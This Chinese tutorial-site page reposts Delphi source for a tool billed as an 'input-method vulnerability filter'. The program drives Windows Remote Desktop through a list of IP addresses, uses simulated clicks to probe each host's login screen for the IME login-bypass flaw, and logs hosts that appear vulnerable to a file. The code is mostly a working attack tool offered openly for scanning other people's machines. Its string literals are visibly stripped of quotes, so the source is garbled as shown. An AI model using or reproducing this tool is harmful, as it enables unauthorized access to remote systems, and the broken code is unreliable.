首 页 网络编程
网页制作 图形图象 操作系统 冲浪宝典
软件教学 认证考试

网络安全 网络办公 行业资讯 评测对比
您当前位置:站长天空 -> 操作系统-> 注册表教程
利用极品五笔刷qb程序原代码_delphi教程
作者:网友供稿 点击:0
推荐
西部数码-全国虚拟主机10强!20余项虚拟主机管理功能,全国领先!第6代双线路虚拟主机,南北访问畅通无阻!可在线rar解压,自动数据恢复设置虚拟目录等.免费赠送访问统计,企业邮局.Cn域名注册10元/年,自助建站480元起,免费试用7天,满意再付款!P4主机租用799元/月.月付免压金
站内搜索
文章页数:[1] 
//----------------------------------------------------------
//         输入发漏洞程序1.0
file://----------------------------------------------------------

unit pApp;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, Menus, ComCtrls;
file://定义键盘动作类
type
  TKAction = (CTAB, TAB_F4, ENTER, ALT_U);
type
TfrmMain = class(TForm)
  OpenDlg: TOpenDialog;
  Panel1: TPanel;
  btnOpen: TButton;
  ProgressBar1: TProgressBar;
  btnStop: TButton;
  btnPause: TButton;
  btnSetting: TButton;
  btnAbout: TButton;
  GroupBox1: TGroupBox;
  btnStart: TButton;
  timLoop: TTimer;
  GroupBox3: TGroupBox;
  TrackBar1: TTrackBar;
  Label3: TLabel;
  edtAppPath: TEdit;
  btnAppPath: TButton;
  edtSavePath: TEdit;
  btnSavePath: TButton;
  Label4: TLabel;
  Label5: TLabel;
  chkAutoEnd: TCheckBox;
  GroupBox2: TGroupBox;
  Image1: TImage;
  Label1: TLabel;
  Label2: TLabel;
  btnHelp: TButton;
  chkAutoIPText: TCheckBox;
  timWait: TTimer;
  SaveDlg: TSaveDialog;
  OpenAppDlg: TOpenDialog;
  memIP: TMemo;
  lblWeb: TLabel;
  timKeyAction: TTimer;
  procedure FormCreate(Sender: TObject);
  procedure btnSettingClick(Sender: TObject);
  procedure btnAboutClick(Sender: TObject);
  procedure btnOpenClick(Sender: TObject);
  procedure btnStartClick(Sender: TObject);
  procedure timLoopTimer(Sender: TObject);
  procedure TrackBar1Change(Sender: TObject);
  procedure btnStopClick(Sender: TObject);
  procedure timWaitTimer(Sender: TObject);
  procedure timKeyActionTimer(Sender: TObject);
private
  function GetSysDir: String;
 
  function Get_Remote_Hwnd: HWND;
  function Get_IPBox_Hwnd: THandle;
  function Get_ConnectHwnd: HWND;
  procedure Set_IPText(IPbox: THandle; IP: String);
  function GetCloseHwnd: HWND;
  function Get_IntermitFrmHwnd(Name: String): HWND;
  procedure ReadIPFiles(Line: Integer);
  procedure ReadTomemIP(IPPath: String);
  function Get_EnterBox: HWND;
  procedure SendKeyboard(KA: TKAction);
  procedure Sendmose(a, x, y: Integer);
  function GetColor(x, y: Integer): Integer;
  procedure WriteIP(s, FileName: String);
  procedure CreateIPFile(FileName: String);
  { Private declarations }
public
  { Public declarations }
end;

var
frmMain: TfrmMain;
Waittime, I: Integer;   file://声明等待时间&累加变量
Howline: Integer;       file://声明总行数
K: Integer;           file://声明行数累加变量
IPFilePath: String;     file://导入IP文件路径
Str: String;
hEnterBox: HWND;       file://定义登陆筐句柄
KeyTime: Integer;       file://定义模拟键盘累加值
WIP: String;         file://定义纪录写入的IP是否相同
implementation

{$R *.dfm}

procedure TfrmMain.FormCreate(Sender: TObject);
begin
file://初始化属性
  frmMain.Font.Name := 宋体;
  frmMain.Font.Size := 9;
  frmMain.Caption := 输入法漏洞过滤程序[中国起点网络安全小组];
  btnOpen.Caption := 导入IP;
  btnStart.Caption := 开始;
  btnPause.Caption := 暂停;
  btnStop.Caption := 停止;
  btnSetting.Caption := 设置;
  btnAbout.Caption := 关于;
  frmMain.ClientWidth := 409;
  frmMain.ClientHeight := 95;
  GroupBox1.Visible := False;
  GroupBox2.Visible := False;
  Label1.Caption := 输入法漏洞过滤1.0 + #13 +
              版权:Hack太子 所有 + #13 +
              QQ:78730710 + #13 +
              QQ:2711997;
  btnStart.Enabled := False;
  btnStop.Enabled := False;
  btnPause.Enabled := False;
  Label3.Caption := IntToStr(TrackBar1.Position) + 秒;
  Waittime := TrackBar1.Position; file://初始化等待时间值
end;

procedure TfrmMain.btnSettingClick(Sender: TObject);
begin
  if btnSetting.Caption = 设置 then
  begin
    btnSetting.Caption := 隐藏;
    frmMain.ClientHeight := 223;
    GroupBox2.Visible := False;
    GroupBox1.Visible := True
  end else
  begin
    btnSetting.Caption := 设置;
    GroupBox1.Visible := False;
    frmMain.ClientHeight := 95;
  end;
end;

procedure TfrmMain.btnAboutClick(Sender: TObject);
begin
  ShowMessage(IntToStr(Get_Enterbox));
  ShowMessage(str);
  if btnAbout.Caption = 关于 then
  begin
    btnAbout.Caption := 隐藏;
    FrmMain.ClientHeight := 223;
    GroupBox1.Visible := False;
    GroupBox2.Visible := True;
  end else
  begin
    btnAbout.Caption := 关于;
    GroupBox2.Visible := False;
    FrmMain.ClientHeight := 95;
  end;
end;

file://单击打开按钮执行以下部分
procedure TfrmMain.btnOpenClick(Sender: TObject);
begin
  if OpenDlg.Execute then
  begin
    IPFilePath := OpenDlg.FileName;
  end;
  if IPFilePath = then
    Exit
  else
  begin
    btnStart.Enabled := True;
  end;







end;
file://获取系统所在目录
function TfrmMain.GetSysDir: String;
var
  SysDir: PChar;
begin
  GetMem(SysDir, MAX_PATH);
  GetSystemDirectory(SysDir, MAX_PATH);
  Result := StrPas(SysDir);
  FreeMem(SysDir, MAX_PATH);
end;
file://获取远程桌面程序窗口句柄
function TfrmMain.Get_Remote_Hwnd: HWND;
var
  RHwnd: HWND;
begin
  RHwnd := FindWindow(#32770, 远程桌面连接);
  if RHwnd <> 0 then
    Result := RHwnd
  else
    Result := 0;
end;
file://获取IP输入筐句柄
function TfrmMain.Get_IPBox_Hwnd: THandle;
var
  IPBoxHwnd: THandle;
begin
  IPBoxHwnd := FindWindowEx(
            Get_Remote_Hwnd,
            0,
            ComboBoxEx32,
            nil
            );
  if IPBoxHwnd <> 0 then
    Result := IPBoxHwnd
  else
    Result := IPBoxHwnd;
end;
file://向IP地址输入筐中发送IP地址字符串
procedure TfrmMain.Set_IPText(IPbox: THandle; IP: String);
var
  IPText: PChar;
  IPBuf: Integer;
begin
  GetMem(IPText, Length(IP));
  StrCopy(IPText, PChar(IP));
  try
    IPBuf := LongInt(IPText);
    SendMessage(
        IPbox,
        WM_SETTEXT,
        0,
        IPBuf
        );
  finally
    FreeMem(IPText, Length(IP));
  end;
end;
file://获取连接按钮句柄
function TfrmMain.Get_ConnectHwnd: HWND;
var
  BtnHwnd: HWND;
begin
  BtnHwnd := FindWindowEx(
            Get_Remote_Hwnd,
            0,
            Button,
            连接(&N)
            );
  if BtnHwnd <> 0 then
    Result := BtnHwnd
  else
    Result := 0;
end;
file://获取取消按钮句柄
function TfrmMain.GetCloseHwnd: HWND;
var
  BtnClose: HWND;
begin
  BtnClose := FindWindowEx(
            Get_Remote_Hwnd,
            0,
            Button,
            取消,
            );
  if BtnClose <> 0 then
    Result := BtnClose
  else
    Result := 0;
end;
file://获取中断网络连接窗口句柄&该窗口确认按钮句柄
function TfrmMain.Get_IntermitFrmHwnd(Name: String): HWND;
var
  FrmHwnd: HWND;
  BtnHwnd: HWND;
begin
  if (Name = F) or (Name = f) then
  begin
    FrmHwnd := FindWindow(#32770, 中断远程桌面连接);
    if FrmHwnd <> 0 then
        Result := FrmHwnd
    else
        Result := 0;
  end;
  if (Name = B) or (Name = b) then
  begin
    BtnHwnd := FindWindowEx(
                FindWindow(#32770, 中断远程桌面连接),
                0,
                Button,
                确定,
                );
    if BtnHwnd <> 0 then
        Result := BtnHwnd
    else
        Result := BtnHwnd;
  end;
end;
file://把IP文件读入Memo控件
procedure TfrmMain.ReadTomemIP(IPPath: String);
var
  TF: TextFile;
  IPStr: String;
begin
  memIP.Clear;
  if FileExists(IPPath) then
  begin
    AssignFile(TF, IPPath);
    Reset(TF);
    while not Eof(TF) do
    begin
        Readln(TF, IPStr);
        memIP.Lines.Add(IPStr);
    end;
    CloseFile(TF);
  end else
  begin
    ShowMessage(请导入IP文件);
  end;

end;





file://读入Memo中IP并连接
procedure TfrmMain.ReadIPFiles(Line: Integer);
begin
  Howline := memIP.Lines.Count;
  if Line <= (Howline - 1) then
  begin
    Str := memIP.Lines.Strings[Line];
        Set_IPText(Get_IPBox_Hwnd, Str);
        SendMessage(
          Get_ConnectHwnd,
          WM_LBUTTONDOWN,
          MK_LBUTTON,
          0
          );
        SendMessage(
          Get_ConnectHwnd,
          WM_LBUTTONUP,
          0,
          0
          );
  end else
  begin
    timWait.Enabled := False;
    timLoop.Enabled := False;
    MessageBox(
        frmMain.Handle,
        IP已经全部过滤,
          输入法漏洞过滤程序,
        MB_OK + MB_ICONINFORMATION
        );
  end;
end;

file://取得登陆窗口句柄
function TfrmMain.Get_EnterBox: HWND;
var
  Ebox: HWND;
  sIP: String;
begin
  sIP := Str + - 远程桌面;
  Ebox := FindWindow(TSSHELLWND, PChar(sIP));
  if Ebox <> 0 then
    Result := Ebox
  else
    Result := 0;
end;
file://写入过滤后的IP
procedure TfrmMain.WriteIP(s, FileName: String);
var
  TF: TextFile;
  IP: String;
begin
  WIP := s;
  if FileExists(FileName) then
  begin
    if s <> WIP then
    begin
        AssignFile(TF, FileName );
        Append(TF);
        Writeln(TF, s);
        CloseFile(TF);
    end;
  end;
end;file://创建保存过滤后IP的文件
procedure TfrmMain.CreateIPFile(FileName: String);
var
  fHwnd: Integer;
  TF: TextFile;
begin
  if not FileExists(FileName) then
  begin
    fHwnd := FileCreate(FileName);
    FileClose(fHwnd);
    AssignFile(TF, FileName);
    Append(TF);
    Writeln(TF, 过滤过的IP:);
    CloseFile(TF);
  end;
end;



file://单击开始按钮以下部分
procedure TfrmMain.btnStartClick(Sender: TObject);
begin
  WinExec(PChar(GetSysDir + \mstsc.exe), SW_SHOWNORMAL);
  ReadTomemIP(IPFilePath);
  timLoop.Enabled := True;
  timWait.Enabled := True;
  btnStart.Enabled := False;
  btnStop.Enabled := True;
  btnPause.Enabled := True;
  CloseWindow(frmMain.Handle);
end;
file://取得指定坐标颜色
function TfrmMain.GetColor(x, y: Integer): Integer;
var
  WindowDC: THandle;
  Color: Integer;
begin
  WindowDC := GetDC(0);
  Color := GetPixel(WindowDC, x, y);
  Result := Color;
end;

procedure TfrmMain.SendKeyboard(KA: TKAction);
begin
  if KA = CTAB then
  begin
    Keybd_event(VK_TAB, 0, 0, 0);
    Keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);
  end;
end;

procedure TfrmMain.Sendmose(a, x, y: Integer);
begin
  if a = 1 then
  begin
    SetCursorPos(x, y);
    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  end;
  if a = 2 then
  begin
    SetCursorPos(x, y);
    mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
  end;
end;





procedure TfrmMain.timLoopTimer(Sender: TObject);
begin
  if Get_IntermitFrmHwnd(F) <> 0 then
  begin
    SendMessage(
        Get_IntermitFrmHwnd(B),
        WM_LBUTTONDOWN,
        MK_LBUTTON,
        0
        );
    SendMessage(
        Get_IntermitFrmHwnd(B),
        WM_LBUTTONUP,
        0,
        0
        );
    I := 0;
  end;
  if Get_EnterBox <> 0 then
  begin
    hEnterBox := Get_EnterBox;
    timWait.Enabled := false;
    if (TimKeyAction.Enabled <> True) then timKeyAction.Enabled := True;
  end;
  if (Get_EnterBox <> 0) and (Get_EnterBox <> hEnterBox) then
  begin
        timWait.Enabled := false;
  end;
  if GetColor(186, 570) = 16777215 then
  begin
    Sendmose(1, 1009, 10);
    Sendmose(1, 735, 13);
    CreateIPFile(c:\MyIP.txt);
    WriteIP(Str, c:\MyIP.txt);
    Sleep(10);
  end;


 

end;

procedure TfrmMain.TrackBar1Change(Sender: TObject);
begin
  Label3.Caption := IntToStr(TrackBar1.Position) + 秒;
  Waittime := TrackBar1.Position;
end;

procedure TfrmMain.btnStopClick(Sender: TObject);
begin
  timLoop.Enabled := False;
  timWait.Enabled := False;
  Str := ;
  I := 0;
  K := 0;
  IPFilePath := ;
  Howline := 0;
  btnStop.Enabled := False;
  btnPause.Enabled := False;
  btnStart.Enabled := False;
  btnOpen.Enabled := True;
end;



procedure TfrmMain.timWaitTimer(Sender: TObject);
begin
  Inc(I);
  if I = Waittime then
  begin
    SendMessage(
        GetCloseHwnd,
        WM_LBUTTONDOWN,
        MK_LBUTTON,
        0
        );
    SendMessage(
        GetCloseHwnd,
        WM_LBUTTONUP,
        0,
        0
        );
    I := 0;
  end;
  if I = 1 then
  begin
    Inc(K);
    ReadIPFiles((K - 1));
  end;
end;

procedure TfrmMain.timKeyActionTimer(Sender: TObject);
begin
  Inc(KeyTime);
  case KeyTime of
    1: Sendmose(1, 495, 328);
    2: Sendmose(2, 57, 753);
    3: Sendmose(1, 54, 650);
    4: Sendmose(1, 150, 652);
    5: KeyTime := 0;
  end;
end;

end.


文章整理:站长天空 网址:http://www.z6688.com/
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

文章页数:[1] 


放大字体显示 缩小字体显示 打印文章 推荐给朋友
热门文章
·更改internet explorer的图标
·C#中的类型转换-.NET教程,C#语言
·找回flash的序列号sn
·更改ie的图标
·如何让你的VB6 IDE支持鼠标滚轮(过程)-.NET教程,VB.Net语言
·正则表达式Replace-.NET教程,Asp.Net开发
·Windows 2003下不注册组件用ASP发邮件-ASP教程,邮件相关
·防止ie被恶意修改的初级技巧
·asp.net实现分组全选部分复选框-ASP教程,ASP应用
·清理ie网址列表
最新文章
·seo新手教程:title的写法_seo网站优化
·从注册表下手 切断一切黑客入侵的路径_注册表教程
·用flash 8 as代码写摄像头拍照功能_flash教程
·小站长赚钱思路:ip不到1000,一个月赚940元_网赚技巧
·陈艺光:网络游戏平台与游戏网站实现共赢_站长访谈
·留住访客 如何最优化设计网站的首页?(2)_站长心得
·为什么在google上搜不到我的网页?_google推广
·google的秘密 搜索引擎利用软件的魔力加快奔跑_google推广
·域名与网站排名_站长心得
·怎样避免被搜索引擎视为作弊_站长心得
相关主题
西部数码虚拟主机

友情链接
CNNIC 西部数码
万网 自助建站
虚拟主机 asp空间
域名注册 域名
域名申请 主页空间
论坛空间 网站空间
国际域名 虚拟空间
空间租用 DDOS防火墙
成都主机托管 四川主机托管
主机租用 服务器租用
网站目录 自助建站
虚拟主机 网址大全
软件下载
自助链接
虚拟主机资讯 特价虚拟主机
版权申明:本站文章均来自网络,如有侵权,请联系我们,我们收到后立即删除,谢谢!
关于我们:站长天空:专业提供最新的站长资讯、在线教程、虚拟主机权威评测、虚拟主机性能对比、网站制作教程,开发教程,站长工具。包括网页制作教程、冲浪宝典、编程参考、操作系统、软件教学、行业动态等。
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
发表评论 打印  刷新     关闭